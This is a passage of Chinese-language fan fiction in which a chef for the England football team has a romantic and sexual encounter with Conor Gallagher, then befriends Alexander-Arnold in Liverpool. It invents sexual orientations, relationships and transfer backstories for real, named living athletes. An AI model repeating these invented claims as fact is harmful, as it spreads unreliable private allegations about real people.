但这并不代表他原谅了鲁莽手重的阿诺德。 阿诺德想找个机会和他聊聊,再怎么不对也不应该动手打人,这要在球场上还不知道被禁赛多少场,关键是场下也不行啊,他要是想告自己,还不赔个万把块的,不是钱的事,关键是留下案底就不好了。 他一边想一边吃盘子里的葱油鳕鱼,刚吃一口就定格了,这tm也太好吃了吧! 鱼肉鲜香滑嫩,入口即化,没有过度烹饪保留了原汁原味,一点点葱汁提味儿丝毫没有掩盖住鱼本身的鲜甜,简直一口入海。 他把一切烦恼都忘了,道歉的事也忘了。 他扭头去看餐盘里还有没有鳕鱼,但看不到,他抻长脖子看,一块都没有了,中餐区全空了,只剩汤了。 不愧是御用厨子,他不仅人长的漂亮,菜做的也漂亮,难怪这队里一个两个的跟掉了魂似的。 他听见格拉利什和福登对克里奇利说了不止一遍两遍,比赛结束了可不能跑啊,回曼彻斯特好好聚聚,放心,不让你做菜,请你品菜。曼彻斯特开了好多家中餐厅,帮我们试试菜,亲爱的美食家。 这让他不得不想到,自己和朋友在利物浦开的小破餐厅,如果没有他的明星效应可能早就关门大吉了。 等他再次看过去的时候,一个金发扎小辫的男人在取餐口的位置,一晃就晃走了那个生而不凡的男人。 第87章 加拉格尔用完了餐还…… 加拉格尔用完了餐还缠着厨师不散伙,那一定是没吃饱。 他就是这样,挑食挑的离谱,就算是好吃的东西也不敢多吃,怕这怕那,恨不得带一个电子秤来,再用食谱分析软件计算热量,然后听从app分析结果,哪一个吃70%,哪一个减半。 别人都是怕饿肚子,他是怕流浪小动物饿肚子,总是把他剩的半块鸡胸肉用餐巾纸包好,去后厨通道喂猫喂鸟。 这次他是真的没吃饱,但那半块鸡胸肉已经包好了,再去打菜又很麻烦,于是去找克里奇利问他可不可以榨一杯蔬菜汁。 克里奇利看见他就好像看见了面无血色的白男吸血鬼,比别人略尖的犬齿,通红的嘴唇,雪蓝的眼睛还有他那一头细碎的金发,就算是吸血鬼是族里的王子殿下吧。 克里奇利听他说蔬菜汁,脑子里就在想好的给你准备200cc的血浆,不够的话,叫你啃一口也行。 加拉格尔跟着他去后厨,本来是要讨一杯蔬菜汁的,结果看见什么都想吃一口。 比如蒜香面包,花生酱,小番茄,火腿片和芝士。 他的目光最终落在克里奇利的厨师饭上。 一份正餐,几个精致的小碟子摆在托盘里,米饭,西兰花炒胡萝卜,煎土豆饼和牛肉汤。 克里奇利榨好了芹菜西红柿汁递给他,目光有些怜爱的看着他,但不好给他什么建议,比如你应该吃点动物肝脏,那才是你们族人获得力量源泉的东西。 他靠在桌边小口小口喝着蔬菜汁,看着克里奇利大?*? 口大口的扒拉饭,像看吃播似的好像自己也大快朵颐着。 看了一会他就忍不住笑。 克里奇利抬头,问他蔬菜汁这么好喝吗? 他撇撇嘴说:“看你吃饭觉得好有食欲,我的蔬菜汁也变好喝了呢。”说完他还咽了口唾沫。 “你要不要吃口?”克里奇利切了一小块土豆饼,用叉子叉上举在手里对他晃了晃。 他想我就尝一尝。 于是拉过椅子坐下来,凑过去抓住克里奇利的手拉到自己唇边,把叉子上的小块土豆饼抿进口中。 煎烤的脆皮里面是绵软的带着土豆颗粒的口感,外酥里嫩,还有熏火腿的香味儿,一口惊艳。 克里奇利看他的表情就知道他还想吃,于是一块一块切好喂给他吃。 每次他都握住递过来的手,啊呜一口吃掉,不一会就吃掉了一整块土豆饼。 坏了,热量爆炸。他吃完了才眨巴眨巴眼睛有点后悔,但唇齿中的留香让他感到异常的满足。 “看来我下午要多跑20分钟跑步机了。” 克里奇利笑笑,说,“那我少跑20分钟。” “呵…抱歉,吃了你的午餐。”他腼腆的低头一笑,让看着他的克里奇利好像晕碳一样有点恍惚。 “没关系,想吃就吃,不用担心,我饿不着。” “唉,不能做到想吃就吃。” 他站起来准备去消耗这些意外摄入的卡路里,回头对克里奇利说,“你要是天天在我身边,我就完蛋了。” 克里奇利心里纳闷儿,他是如何做到吃八分饱还能在巨大消耗中保持强硬抗衡的。 金发扎小辫的加拉格尔,可绝不是温文尔雅的善茬,作为攻守兼备的中场球员,核心力量持续高能输出,赛季未过半铲断30次,犯规10次,黄牌3张,数据显示他是一只凶残的嗜血动物,和有着高贵优雅伦敦长公主之名的他截然相反。 “趁我在这,想吃就来找我,不会让你完蛋的,只会让你吃了还想吃。” 结果晚上还不到9点加拉格尔就去找他了。 克里奇利刚健完身洗完澡,一身水汽的裹着条浴巾就来开门。 他往门上一靠,随手撩了撩湿发,发梢滴落的水珠沿着脖子流到紧实的胸肌上,让来人目光锁定在眼前最美的风景上。 “这么快就饿了?”克里奇利看着一脸抹不开的金发男人率先打破了僵局。 “呃…没,找你聊聊天,方便吗?” “我能说什么呢,加拉格尔先生。”说着,他伸出手来把面前看上去有些饥饿的男人请进屋。 “叫我康纳就行,克里奇利先生。”他脱了外套,里面穿的是黑色短袖紧身衣,勾勒出有些健壮的身材,衬托裸露在外的皮肤更加白皙。 “康纳,你也不必客气。” “好,布莱恩。” 他抬手摸了摸脖子,蓝色的眼珠向上瞟了渐渐逼近的人,正迎上那人释放出试探和耐人寻味的眼神,仿佛被灼了一下,大脑有些短路,呼吸也瞬间不畅了。 加拉格尔觉得白天的克里奇利已经很惹眼了,现在光着上身,浴巾卡在人鱼线上,湿漉漉的头发拢向脑后,额前散落着几缕碎发,看上去不是一般的辣,正常人,不,弯的人很难不动心吧。 奇怪,我要来和他聊什么来着。 他忘了。 “不介意我……”克里奇利把手指插进自己的浴袍边缘,作势要脱。 “不,不,不介意。”加拉格尔快速摇了摇头,说真,他都不知道不介意个啥,是脱还是穿。 克里奇利听闻他是来找他聊天的,当然是脱了再穿,总不能裸/聊吧。 就算要裸/聊也是拿准了以后再聊。 于是他扯下浴巾,扔在椅子扶手上,再直接套上牛仔裤。 加拉格尔没敢正眼看,但余光瞥见一处令人惊叹的景色,下意识做了个深呼吸,同时感受到来自克里奇利不经意散发出的锋芒毕露的野性。 “喝点什么?”克里奇利一边问,一边走向桌台,手指抹过红酒、威士忌、矿泉水、苏打水、茶包,最终落在矿泉水上,他知道这家伙自律的很。 “红酒吧,我听说红酒助眠,我最近有点失眠。” “好,康纳。” 克里奇利弯弯嘴角,很乐意为他助眠,于是打开红酒到了两杯。 两人坐在沙发上碰了一下杯,再一口干掉。 红酒单宁柔和,挂杯清晰,不酸不苦,入口绵软,一品就知道是上等的葡萄庄园里的顶级货。 加拉格尔很少喝酒,他也不太懂酒,他只知道这东西好喝,像饮料,还不甜,于是他又喝了一杯。 反正只要他杯子空了,克里奇利就会给他斟酒,完了他就不浪费别人心意的再一口喝掉,就像礼尚往来不知不觉就喝掉大半瓶。 他们聊了一些比赛、健身、美食,聊着聊着就聊到伦敦的夜色,主要是克里奇利白天工作太投入,晚上必须得找地方放松一下,而伦敦能玩能闹能约会的酒吧他基本都去遍了。 所以,酒吧这个话题永远不会在他这里尬住。 加拉格尔像听天书一样,听到关键时刻还直冒汗。 什么高台跳舞的汗湿男,暗室里此起彼伏的叫喘,vip包房里一应俱全的道具,还有临时cp看对眼直接在舞池里来来回回…… 说完以后,克里奇利也觉得有些说冒了,这什么红酒,怎么后劲这么大,看把这位小吸血鬼吓的,不,是伦敦长公主,他没见过俗世喧嚣,更没见过gay魔乱舞,他只是来问自己助眠配方的,怎么就聊到高速上去了呢。 克里奇利一拍大腿,踩了个急刹车,说道:“我胡说八道的,哪有在舞池里就搞对位的,那不和规定,都是看对眼以后带到家里去,那多安全舒适,我伦敦的阁楼别提多带劲了,可惜……” “可惜什么?” “噢,没什么,卖了,算了不提了。” 他这急刹车刹得太生硬,一个漂移又上道了。 谁知,他把车停下,打算和长公主聊聊风雅之事,却被长公主接下来的话震惊掉了下巴。 加拉格尔说:“不瞒你说,我睡不着是有原因的,既然你这么坦白,我觉得我可以对你说,因为憋在心里实在是太难受了,我怕我哪天说梦话就说出来了。” “你说,我听着呢,我会替你保密。”克里奇利很会看表情,他知道加拉格尔今晚来找他一定是有秘密要说,不然大白天的也能聊。 加拉格尔把杯中红酒喝掉,苦笑了一下,开始组织那些不太好说的语言,他说,“我有另一面,就是不男人的一面。” “哦?” “就是……你知道的。” “哦。” “然后,我喜欢我们切尔西的科尔维尔,他这次受伤没来。” 他停了停,侧过头看看克里奇利的表情,获得一个点头示意后,鼓起勇气继续说。 “第一次在队里见到他时就被他硬朗帅气的外表给吸引了,我们在一个队里,一起踢球、一起洗澡、一起睡觉,是在一个房间里,还一起出去玩,总之那段日子实在是太美好了,后来我们又一起被国家队选中,我觉得我是世界上最幸福的人。” “后来,切尔西要把我卖了,我苦苦哀求想要降薪留下,打替补也行,但是主管说我技术水平已经跟不上现在切尔西的配置,新教练也有新战术,你会在板凳上枯坐到状态一点一点被磨灭,你要知道一个球员如果没有比赛踢就意味着他快被淘汰了。” “他还说‘现在马竞伸出橄榄枝,我觉得那是你的一个机会。’就这样,我不得不做出选择。” 克里奇利摸了摸下巴,饶有兴趣地仔细听着,时不时地附和着他。 “他还说如果我执意要留队,就要和恩佐费尔南德斯打配合,他是那年的冬窗标王,要干队里最有挑战性最重要的活儿,我要和他培养感情,还要学西语来和他搭档。” “我说这没问题,我和他搭档就好了啊,西语没什么难的,我会说一点啊。” “为了留队,我在伦敦不说英语又如何。” 克里奇利摇摇头,轻叹一声,觉得这对痴情的加拉格尔不公平,这苛刻的要求明摆着是让他离队的。一边说没位置,还一边说让他学西语配合恩佐,实际根本没有给他退路让他选择。 果然没猜错,加拉格尔继续说:“他还说,我必须要和科尔维尔保持距离,不是球场上的距离,我们俩的关系已经给队内造成各种猜忌各种不和,导致英格兰帮和法国帮还有南美帮之间有隔阂。说白了,他希望我俩走一个。” “害,都是套路。”克里奇利握了握他交叉在膝盖上的手,对他说,“他们资本家想要做买卖还和你真商量吗?” “我当时有点没主见,只是被他说的有些害怕,于是很快就答应了转会马竞,现在我和科尔维尔也难再见面了。” “别难过,世界有时候很小,兜兜转转说不定就又回去了。” 喝了不少红酒的加拉格尔出了一身汗不说,泪腺也崩掉了,哗哗的眼泪顺着他白里透红的脸颊流淌下来,搞得克里奇利无所适从,他真的不太会哄人,他只会亲人。 “我可以借用你的浴室吗?身上不太好闻。”加拉格尔没有要走的意思,但是身上出汗黏黏的不舒服,他也想像克里奇利一样赤裸上身,无拘无束。 “请便。” 趁他洗澡,克里奇利从衣柜里拿出他没穿过的浴袍搭在浴室门口放行李的架子上。 这时,咚咚咚又响起了敲门声。 第88章 克里奇利开门的瞬间…… 克里奇利开门的瞬间愣了一下,看着面带微笑的阿诺德,一时不知道该说什么。 阿诺德今天一天都魂不守舍,想着下班去买个什么东西登门道歉,想来想去,逛来逛去就拖到了这时候,还不到10点,应该不算晚吧。 他选了一款波摩威士忌,外形设计灵感来源于波摩故乡艾雷岛,店家介绍这是限量款人工吹制而成的玻璃艺术品,握在手里很有质感,摆在家里也像从岩层中凿开的自然瑰宝。 但在克里奇利看来,这个酒瓶好像一个健硕男人的上半身,瓶口系着彩带,这不是一个脖子上系着蝴蝶结的美男吗。 除了酒之外,阿诺德手里还拿着一捧黄色郁金香。 克里奇利猜他不买黄玫瑰也是怕抹不开面子。 看样子是来登门道歉的。 还没等阿诺德酝酿出一句对不起来,加拉格尔就光着身子从浴室里出来,在克里奇利身后一晃而过,随手拿起架子上的浴巾披在身上,还没看见门口那边站着的俩人。 阿诺德一脸震惊,张着嘴半天说不出话来。 克里奇利歪着头看着他,似乎并不想解释什么,这对他来说没什么大不了的。 “对不起,看来我来的不是时候。”阿诺德扭扭捏捏的说着,完全不是之前对克里奇利像对仇人一样的愤恨样儿。 “噢,没事,要不要进来坐坐?”克里奇利不慌不忙的回应他。 什么?阿诺德怀疑自己听错了,他金屋藏娇都被自己看见了,还邀请自己进去是不是有点太奔放了,他还有底线吗? 看出来阿诺德脸上的不解和踟躇,就知道他误会了。 不过,克里奇利只是在和加拉格尔聊天而已,多一个聊天的又何妨,这个阿诺德还是对自己有偏见,是不是认为自己除了采撷野花就没别的事干了。 “嗯,别慌,我们在聊天,你也想找我聊聊吗?”克里奇利像一个知心哥哥,在这接热线电话,而且一下就打进来两个。 一个是诉说情感之路多坎坷,这个应该是得罪人了求问怎么破冰的。 阿诺德这才稳了一下呼吸,忙说,“我还是改个时间再来吧。”说完就把手里的酒和郁金香塞到克里奇利的怀里,头也不回的跑掉了。 还有这样道歉的,不过他之前说了对不起,自己也说了没事,那就这样吧。 克里奇利手里握着还有温度的礼物,看着仓皇而逃的阿诺德,心里早就不生气了,这个家伙也是一个嘴硬心软的直男性格,就当他道歉了吧,反正也是一场误会。 “谁呀?”加拉格尔的声音从房间里传出。 “没事,送牙刷的。”克里奇利想搪塞过去,随便编了个理由。 “给我的?”加拉格尔心想他还怪贴心,这是想让自己留宿的信号吧。 结果他看见克里奇利手里拿着花和酒,突然害羞起来,这气氛过于暧昧,还没表达欲/望他就使上浪漫的手段了。 “送牙刷的还送这个?”他抿着嘴笑,等着克里奇利说,送什么牙刷,是送给你的,我的公主。 克里奇利不知道该怎么解释,索性顺着情境演了下去,他说,“今晚是个美妙的夜晚,那就进行享受吧。” 他刚要拧开这瓶珍藏价值极高的艺术品,加拉格尔一下子从沙发跳起来,一把握住了他的手,就像中午握住喂他土豆饼的手一样,只不过这次用力了些。 “先别打开,让我看看。”他拿过酒瓶的同时瞥见了那捧黄色郁金香,瞬间好像明白了什么。 哪有表达爱意送人家黄色郁金香的,这明显是道歉用的,他妈妈原来开过花店,就有卖这种花的。 “是有人给你道歉吧?”加拉格尔摩挲着光滑的酒瓶,看出来价值不菲,同时也终结了自己的花痴梦。 “你可真聪明,康纳,不过也没什么,全当助兴。” “你还是珍藏起来吧,虽然我不懂酒,但懂一点艺术,这明显是出自大师之手,想必给你道歉的人也希望你能原谅他的同时还能记住他。” “有吗?”克里奇利闪烁着他那比这瓶玻璃还要亮的大眼睛,挨着他坐下来,一起欣赏这瓶好酒。 一个没穿衣服比手里握着的壮男玻璃瓶还要健硕饱满的身体靠过来,让加拉格尔体温瞬间升高,他扯了扯浴袍的领子,有点透不过气来,再偏头去看他,正对上那双黑黝黝的眼睛。 “我可以吗?”加拉格尔红着脸,看着他丰盈透润的嘴唇,伸出舌头舔了舔自己的嘴唇,发出一个很疑惑的疑问。 他总是问可以吗,从可以吃掉一块土豆饼开始,到可以和你聊天吗,再到可以用你的浴室吗,现在不知道他又在问什么可以吗。 “可以呀。”克里奇利不知道他要干嘛,仍回复他可以,谁能拒绝一个金发碧眼浑身透着香气的美丽大公主呢? 只要不是问他可以上吗就行。 正当想着,加拉格尔炙热透彻的吻就落在了他的唇上。 那感觉像是在倾诉想念,一下一下的去触碰他的嘴唇,吻的很小心,很温柔。 好像在他身上找感觉,并期待着什么。 克里奇利不仅是一款全能按摩师,还是一名优秀的试睡师。 这世界有太多在情爱里受伤的人,他们或许应该勇敢面对,或许应该早早放弃,但总有一个执念在心里挥之不去,就是想要满足自己无处宣泄的欲望。 它或许只是一个巧合。 只需要一点暖光,一点酒精的芳香,一个纵容的应允,就可以暂时掩盖痛苦,鼓励人向前迈出一步。 月亮为伴,漆黑的天如幕布,是吸血鬼狩猎的时刻,也是他们活跃的时间。 这个时间让加拉格尔内心坦然,暂时跨过心里的坎,去尝试一下亲吻自己信任的男人和被他亲吻和拥抱是什么感觉。 这完全不同于场上的庆祝,场上更多的是发泄,示威和巨大的喜悦,而此刻的亲吻是想要就立刻获得满足,像吃了一把跳跳糖,大脑和嘴巴同时噼里啪啦的放烟花。 他亲吻克里奇利让他想起亲吻科尔维尔的感觉,但只是在场上,没有私下里亲过。 科尔维尔总是笑嘻嘻的抚过他的后脑勺,说康纳你总是会制造惊喜,你的存在是最美好的,我就喜欢你这个样子。 他们都好温柔。 克里奇利用相同的力度回应着他,亲的小心翼翼,生怕触碰他任何不舒服的神经,而不加力是想要给他留退路,万一他后悔,心里还惦记着某人,完全可以停下,甚至可以不负责任的点火就跑。 和索兰克差不多,只要给他一点点男/色力量,就可以激发他勇敢面对内心去表白的勇气。 此刻没有什么新话题,他们心照不宣的将手指扣在一起,渐渐失控。 克里奇利只是从他的脸摸到后颈,指尖稍微用了点力,拢住了他的脖子,他就再次情难自控流下热泪来。 伴随着抽泣的动作,他的身子也在微微发抖,喘息中有破碎的哭腔溢出喉咙,好像被人欺负了一般。 克里奇利突然产生了怜香惜玉的想法,不敢再进一步。 要知道以前他都是开猛火,哪有小动物边被炒边哭的,都渴望着他,渴望多下一点猛料。 在克里奇利眼里,男人没有那么娇贵,都是一拍即合,一做到底,爱就爱,恨就恨,完了就完了,没有那么多情感纠葛。 但加拉格尔不一样,他看上去好脆弱,只是亲吻就让他快要承受不住,发出一声声好似痛苦求饶的嘤咛。 搞得风流老练的克里奇利竟不知从何下手。 要不还是聊聊吧。 万一他不喜欢,他代不进去,他还是喜欢科尔维尔,他没办法做不带感情的事,那自己完全可以停下。 到底是什么让大公主如此痛苦,如此挣扎。 “康纳,你不用勉强自己。”克里奇利慢慢松开他的脖子,手搭在他的肩膀上,摸着那处凸起的肩峰。 加拉格尔眼睛有些红肿,在停止了亲吻后目光变得茫然不知措,他抬起湿答答的上睫毛,幽蓝幽蓝的眼睛看着克里奇利冷峻的脸,有些怀疑自己的初衷到底是来寻求安慰的还是来放松一次的。 “虽然我们不再联系,但不代表我不会想他。”加拉格尔坦白道。 克里奇利摸了摸他柔软潮湿的金发,收敛起一点快要蔓延的侵袭气息,柔声说,“你还要继续吗?” 加拉格尔看了他一眼,忽然又笑出声来,露出两颗尖尖的犬齿,接着颠覆他一如既往的忧郁形象,一个飞扑就搂住了克里奇利的脖子,让克里奇利有一种被吸血鬼咬住大动脉的既视感。 加拉格尔在他耳边吹气,低哑着嗓子说,“传闻中雷厉风行来者不拒的大总攻怎么还问别人要不要继续这种话?” 克里奇利听了只觉得好笑,他是问他要继续这种生活吗,还是要做点什么改变一下,没想到他竟然质疑自己婆妈,不够飒爽。 但他没有说穿,只是默默伸出一只手环住了他的腰身,另一只手拖住了他的辟谷,轻轻用力,便将半挂在他身上的男人抱了起来。 在场下,加拉格尔还是第一次被人如此亲密的抱在怀里。 他搂着高大男人的脖子,还没被放到床上就迫不及待的再次吻了上去。 这次不同于刚才的蜻蜓点水,也不是小心翼翼的问他可以不可以的试探,而是来自长公主霸道的索吻。 吻我,这样吻我,他用实际行动告诉抱着他的男人可以继续,还要猛猛的继续,哪怕只是一次“露水情缘”。 早就被他一副可怜兮兮梨花带雨的破碎感给搅和的快要按耐不住的大总攻,现在又被他疾风骤雨般的吻给撩拨的浑身不得劲,再不摆开阵仗真的是要被他认为是德不配位的花架子了。 克里奇利吻着他把他放在大床上,低头看着他白皙滑腻的脖子就这么耀眼的暴/露在自己眼前,他才有一种变成吸血鬼想要吸干/他鲜血的冲动。 他不仅是脖子白,哪都白,到处明晃晃的亮眼,而且他身上很光洁竟然没有一处纹身,干净透亮像块肥皂。 金发碧眼的白男是克里奇利的死穴,他再一次沦陷了,就想保持困住他的姿势,幻想时间在此刻凝结。 刚洗完澡又出了一身汗的加拉格尔浑身瘫软在他怀里,无法自控地迎合他,内心在叫嚣着希望他可以更放肆一些,但又不敢说出口,只好全程捂着自己发烫的脸颊,闭着眼睛,咬着嘴唇,默默的对自己说不要出声,很丢脸。 但画风凛冽的行事风格还是让身下的人一边发抖一边咬着被子小声哭叫。 绝了,这绝对在克里奇利阅人榜上能排进前三名的体验。 加拉格尔是非常典型的omega,浑身散发着楚楚可怜又魅惑众生的魅力,床上风情和他在场上“霸凌”别人那是相当的不一样。 他曾经凌驾过曼城的,阿森纳的,热刺的各种强悍人物,生猛如虎,犯了你还要趾高气昂的俯视你,就问你服不服。 因此场上打过的架也数不胜数。 可床上这位明明是一个弱不禁风的小娇妻呀,他都快把自己嘴唇咬破了,无辜又迷离的眼睛给人一种欲求不满的错觉,实际上已经害羞到快把床单给抓挠出丝了。 他们给了彼此极致的赛克斯体验,地上已经散落了好个小方包装袋,足以证明这一宿有多么爽快,多么令人难忘,搞得克里奇利都想追他了。 第二天当两个人从相拥中醒来时,克里奇利还是不假思索的对他说,“去吧,爱和不爱你说了算。” 加拉格尔笑笑没说什么,从他的床上爬起来,缓慢的穿上衣服裤子,留给他一个甜甜的微笑,又比了一个嘘的手势。 克里奇利秒懂,他说,“放心吧,没人知道你来过。” 说完他又突然想起来什么,阿诺德可是知道,该怎么去堵上他的嘴,来保护这个超级信任他愿意把一切都交给他的可怜公主呢? 阿诺德可千万不要在今天的比赛中和他乱开玩笑,不然影响了他的状态克里奇利可要愧疚死了。 想到这,他火速出了门。 他在球员用早餐的时候就找到阿诺德,把他拉到一边煞有介事的对他说,“我接受你的道歉,但是你要答应我一件事。” 阿诺德纳闷,自己还没道歉,他就火急火燎的跑过来主动接受,还让自己答应他一件事,到底卖什么关子。 阿诺德说:“只要我能帮的到你尽管说。” “你能。” 阿诺德瞪圆了眼睛,看着同样睁大眼睛冒着绿光的克里奇利,就知道他有求于他。 克里奇利直白的请求他,“希望昨晚的事你不要对任何人说,你没有见过我,就这样,行吗?” “啊…这样。”阿诺德脑袋瓜在转,他昨晚…噢,果然他俩有事,绝不只是聊天那么简单。 “噢~”阿诺德突然憋不住笑,眼神扫向餐厅似乎在寻找某人。 “算我求你。”克里奇利伸手搭上他肩膀,此地无银的献殷勤,完全不是挨了他的打要压他一头的架势。 “好,我答应你,但是。”阿诺德灵机一动,想到他昨天就一直在想的事情。 “还有但是?” “我也求你一件事,你不答应也行。”阿诺德抱着肩膀,心里有些得意,本来要低声下气给人家道歉的他现在反而有了一点理直气壮的心。 “说说看。” “国家比赛日结束,你和我去趟利物浦,帮我拯救一下我那快倒闭的小破餐厅。” “哦?这…”克里奇利没想到他竟然也打自己的主意,是专业上的主意。 “放心吧,不会耽误你太长时间的,就过来帮我看一下菜单,试吃一下菜品,提点意见就行,按时薪付你。” “你请我去利物浦旅游就不用付时薪了,我愿意去!” “那就这样。”阿诺德鬼头鬼脑的在自己嘴上做了一个拉拉链的动作,保证自己绝对不说昨晚看见加拉格尔在他房间出没的情景。 于是,在英格兰大胜爱尔兰,以小组第一成功出线的成绩结束这次征召之时,克里奇利竟然拒绝了格拉利什和福登邀请他回曼城玩玩的主意,转道去了利物浦。 第89章 这次英格兰队的征召…… 这次英格兰队的征召无疑是一次成功的征召,被媒体吹捧为史上最强,至少身价在那摆着,一大帮人挤在一个泳池里,放眼望去就是6,7个亿。 这次小组赛也证明了小伙子们实至名归,为队伍锁定了A级,下一次征召就是明年的世预赛了。 光环是他们的,默默付出的还有像克里奇利这样的工作人员,这又应了那句坊间传闻,得克里奇利者得天下,这很难解释。 在克里奇利的见证下,这场加拉格尔状态爆棚,完成一射一传,替补登场的索兰克建功,凯恩也有收获。 就是格拉利什和赖斯被爱尔兰主场球迷骂的很难听,但他们仍用不张扬的态度帮助球队获胜。 英格兰队变得越来越好了。 他们粉碎了那句难听的话:散是满天星,聚是… 大家在完赛后都兴奋的手舞足蹈,在更衣室抱在一起跳成一个圈。 克里奇利按照球队总监的安排提前给他们准备了香槟,蛋糕和电解质饮料,结果都被他们浪费了。 有一些也浪费在他身上,他刚推着蛋糕走进更衣室就被混乱的男人们“围攻”了。 他们在淋完了香槟雨之后开始找寻新的乐子。 贝林厄姆上前抓了一把蛋糕要抹在大厨脸上,大厨下意识一躲就蹭在了雪白的厨师服上,凯恩训了他一句没礼貌之后,格拉利什和赖斯就一人一手搭在他肩膀上,一边往他脸上呼奶油一边亲了他的侧脸,自己嘴上也沾满了奶油。 这都是什么新式吃蛋糕方法?放真人脸上来吃吗? 克里奇利也不生气,但他不好浪费粮食,他一边笑一边躲,并警告他们,一会都给我舔干净! 南门教练进来以后也被他们拉进来招呼着,玩闹嗨了完全忘记严肃的教练是怎么凶他们的,整个英格兰队呈现出前所未有的融洽,之前因为前场持球太多几个人还闹别扭,现在全都融在了一起。 可能是因为克里奇利准备的蛋糕太甜,把大家给腻到了,说话一个比一个甜。 趁着他们转移目标,克里奇利赶紧退场,再不走,又要被他们拿香槟洗头了。 结果出了门差点被一个人绊倒。 回头一看,加拉格尔像一只金色的小狗蹲在门口,手上端着一块蛋糕,另一只手拿着电话,笑眯眯的在打电话。 看见克里奇利还绷不住大笑了起来。 电话那边问他怎么了? 他说:“没事,一个帅哥,差点摔成衰哥。” 克里奇利回头揉了一把他的头发,心里想着加拉格尔释怀了就行,看他旁若无人的煲电话粥,估计和那个不相往来的crush重新连上线了吧。 看着他一脸幸福满足的笑容,和那晚哭的嘤咛可人的样子完全不同,不知怎么就戳中了克里奇利心里本不存在的那根神经。 他突然感到鼻子一酸差点落下泪来,甚至在这一瞬间,他把自己代入到了电话的那一端,竟激起了一种叫做牵肠挂肚的表达欲。 可他对谁表达呢? 刚冒出这个念头,他的脑海里就立刻拉响了警报,他赶紧晃晃头否定了自己可怕的想法。 他固执地认为那些神啊上帝啊没把他改造好,中国月老管不着他,没给他牵红线,丘比特也不爱搭理他,没有给他一箭穿心。 再说他根本也没给自己安排恋爱这件小事,更别提结婚了。他总是在一场又一场天翻地覆的doi里穿行,过着不必对别人嘘寒问暖不必绞尽脑汁哄对方开心当然也不必负责任的自以为潇洒至极的日子。 但凡他有一点想靠岸,也不至于没人要。他估摸着舞池里得有一半的人争着抢着要把他娶回家吧,哈哈哈,想到这,他都笑出声来。 但是嘴上说着自己是大家的,还要给很多人提供服务,实际上在这么多经历中,想要保持不动心也很难。 而且最近越来越难了。 他开始反思德容曾经骂过他,说他就是打着gay的幌子,总想要看看下一个是不是更好的彻头彻尾的混蛋。 所以在遇到了穆西亚拉时,他才会产生那么一点点惶恐之心。 可是,他还是伤害了小鹿,这么久一个电话都没打给他,也没问问他在国家队过得怎样。 现实不容许他这么做,他只要一回头,就会害人更深。 他回去收拾好了皮箱没有过多的逗留,悄无声息地跟着阿诺德去了利物浦。 果然是到了一个新地方就会忘了旧地方的人和事。 他在阿诺德的小饭馆里连续喝了两个宿醉以后,显然不那么难受了。 他还和阿诺德不打不相识的拜上把子了。 阿诺德说:“哥,我给你介绍几个朋友认识。” 然后他就见到了那个身形和他不相上下,美貌与身材俱佳,性感与清纯并存的匈牙利帅哥——多米尼克.索博斯洛伊。 又一个多米尼克。 他一上来就叫了人家昵称,尼克。 多冒昧呀。 索博看上去奔放健谈实际清纯的很,关键是他三句没说完就暴露了自己是个直男,他说他女朋友过两天要来利物浦,希望大厨到时候还能在这,能有幸品尝到好吃的饭菜就太幸福了,说起来手舞足蹈的像个恋爱中的傻子。 克里奇利有些失望,这么好看的男人真是处处长在他审美点上,特别是眉压眼的向上一瞟,自带深情特效,让他想起了谁说过他是不是看狗都这么深情,极容易被人误会是在放电。 当然,他放电那是觅食基操,索博放没放电他还摸不清,如果他没说自己有女朋友的话,那他可要和他对视个你死我活了。 爱上直男这种事克里奇利干过,这简直是txl的地狱,被人当成小粉丝狠狠地宰,还在大马路上无视他,搂着老婆孩子有说有笑,鄙视又嫌弃的睨他一眼,那感觉让他终生难忘。 还是个牧师。 他真不愿意想。 那人也是他开窍的噩梦。 从那以后,他发誓再也不会爱上直男,特别是对他有兴趣还瞧不起他的伪直男,如果可以掰弯,那就不要怜惜他们,顶撞他们是他们应得的。 但爱这种事,说来就来,它不给你商量,你就是再发誓不会动心,或者被伤害了以后就觉得自己不会再爱了,至少不会再那么用力爱了,可当那个人出现时,你还是什么都不要了跟头咕噜地一头栽进去。 克里奇利认为自己已经长大了,不再是13、4岁情窦初开的小男孩,曾经被信奉上帝满口虔诚的说要超度他的牧师牵着鼻子走,而如今他只会冷却心里的想法,不去看直男那种优越的令人无法抗拒的一面。 那段心酸的往事提醒着他,就算索博斯洛伊资质过人、美貌逆天、狼狗一个,也不能伸手往锅里拽了。 这天晚上,是利物浦小分队在阿诺德的“萤火虫”餐厅聚餐。 他们都从国家队风尘仆仆地赶回来,在各自队伍里都作为挑大梁的被教练爆改的面面俱到,每个人都像老了好几岁,但聚到一起,小酒一喝,小肉一吃,小话一拉,又都焕发了青春年少。 阿诺德郑重地给大家介绍:“这是我从国家队拐回来的御用大厨,你们都认识吧?” 还没等他说出名字,范戴克、加克波、罗伯逊等人就已经眼睛雪亮的盯着面前这位高挺英俊的美男子了。 他们哇了一声,小声讨论起来。 “这就是传说中让你猛猛进球的幕后男人啊?” “果然是生得仪表堂堂,不是,看上去有两下子。” “这么牛逼的人物相貌气质肯定不会太差,但跟杂志、电视里的不太一样,看上去很年轻。” 有人已经抛出了问题:“克里奇利先生,您今年也就30多岁吧,看上去真年轻啊,我是说年轻有为。” “呃……”刚过了31岁生日的克里奇利脑仁疼,他虽然不是大姑娘,也对年龄有焦虑。 他说:“嗯,不到40.” “年轻,真年轻!”这几个人好像就会说这一个英语单词似的。 麦卡利斯特,努涅斯,阿利松都离着远,还没赶回来,但已经视频约好了,别放英国厨神离开! 克里奇利去后厨帮忙,他们则坐在一起讨论国家队好玩的事,特别是这次英格兰取得两连胜,让他们好一顿调侃,说诶,你们又行了?不是九子夺嫡,谁也不给谁传球嘛? 阿诺德哈哈大笑,说吃中药了,克里奇利给他们下猛药了,下次你们抽到我们英格兰,等着被摁在地上搓吧,我们全体都是大猛攻! 说完就被一向冷酷严肃的硬汉队长范戴克拍了后脑勺,说特伦特,你还是专注联赛吧,这个赛季冲冠志在必得,要是真有好的中药,麻烦给利物浦下点! 克里奇利耳根子发烫,他不知道那桌人已经有人惦记他了。 他为了让利物浦球星吃上好的,今晚好好的教给后厨那几个法国蓝带厨艺学院毕业的资深大厨如何颠大勺,让火燎进锅里,使食物充满锅气,简简单单的示范就已经让他们顶礼膜拜了。 克里奇利知道问题出在哪了,搞不好这几个人是冒牌蓝带厨师,可能只是学徒,连锅气都不知道。 他们只知道保持食物原汁原味,却忽略了口味的融合与层次,酱汁用的好,也得浸润入味呀。 